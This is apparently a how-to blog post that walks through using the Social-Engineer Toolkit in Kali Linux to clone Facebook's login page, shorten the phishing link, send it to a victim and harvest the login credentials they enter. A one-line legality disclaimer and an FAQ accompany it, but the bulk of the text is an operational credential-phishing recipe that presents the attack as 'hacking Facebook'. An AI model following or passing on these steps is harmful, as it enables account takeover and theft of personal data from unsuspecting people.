How to hack Facebook with Kali Linux and SET(Social Engineering Toolkit)

Welcome to another Facebook Hacking tutorial. If you want to know how to hack Facebook with Kali Linux, you have come to the right place. In this article, we will be showing you how you can hack Facebook with Kali Linux and social engineering toolkit.

Do note you need Kali Linux installed on your system for this hack to work. You can also install Kali Linux via Virtual Machine as well.

Also read: How to Hack Facebook with Zshadow

So let’s begin:

What is Social Engineering Toolkit (SET)??

The Social-Engineer Toolkit (SET) is intended to perform very targetted against the human attack vector. SET was made by David Kennedy and his team. The attacks included within the toolbox are intended to be used for testing purposes. Even though we can hack Facebook with Kali Linux know that it is illegal to do so without proper permission from the parties involved.

We will be using the SET toolkit, which is preinstalled in Kali Linux to hack Facebook account.

If you want to install on any other Linux distribution use the following commands:

$ git clone https://github.com/trustedsec/social-engineer-toolkit/ set/
$ cd set
$ pip install -r requirements.txt

How to hack Facebook using Kali Linux

Step 1: Open a Kali Linux.

Step 2: Search for setoolkit and run the Toolkit via the shortcut as shown below:

Step 3: Press “Y” to accept social engineering toolkit terms and conditions.

Step 4: As you can see from the image below the following options will be shown to you:

1) Social-Engineering Attacks
2) Penetration Testing (Fast-Track)
3) Third-Party Modules

Step 5: Select social engineering attacks option by selecting the appropriate option, which in our case is “1.”

Type “1.”

Step 6: Now, you will see more options, as shown. Select the correct option in our case; its option “2.”

Type “2.”

1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector
9) Powershell Attack Vectors
10) Third-Party Modules

Step 7: Now select the Credential Harvester Attack Method

Type “3.” 

1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Web Jacking Attack Method
6) Multi-Attack Web Method
7) HTA Attack Method

Step 8: Select the site cloner option by selecting the appropriate option

Type “2.” 

1) Web Templates
2) Site Cloner
3) Custom Import

Step 9: Give your IP address to set up and start the attack

set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.x.xxx]:(your IP address)

You can find your IP address by using the ifconfig command

Step 10: Select the URL to clone. In our case it is www.facebook.com

set:webattack>Enter the URL to clone: www.facebook.com

Step 11: Go to other location > Computer > VAR > WWW and move every one of the files from www folder to HTML folder.

Step 12: Using tinyurl.com, make your IP address shorter and send it to the victim. When he logs in through your phishing link you will get his/her credentials in a file which is located at other location> Computer > VAR > WWW.

Fake Facebook Phishing Page made by Kali Linux

That’s it you have successfully hacked facebook using Kali Linux and social engineering g toolkit.

Must read: 20 ways how hackers Hack Facebook

Commonly Asked Questions

Below are some of the questions that might come in your mind while learning how to hack facebook with Kali Linux and social engineering tool

Q1. Is hacking facebook with kali Linux legal to use on anyone?

No, It is not legal Kali Linux to Hack facebook accounts of people. If you use it to hack someone’s account without their permission then it is a criminal offence. You are only supposed to use this for learning and testing purposes

Q2. Can I hack Account Using Mobile phone?

Yes, you can use your mobile phone to hack facebook account. But you will need to install Kali Linux Nethunter on your android device. Not all mobile devices are fully compatible. You can also use termux app and install Linux on your android phone.

If your account was hacked then you can recover the account by using the following article:

How to recover your hacked facebook account.

In the recover facebook article, we have given numerous ways to recover your hacked facebook account.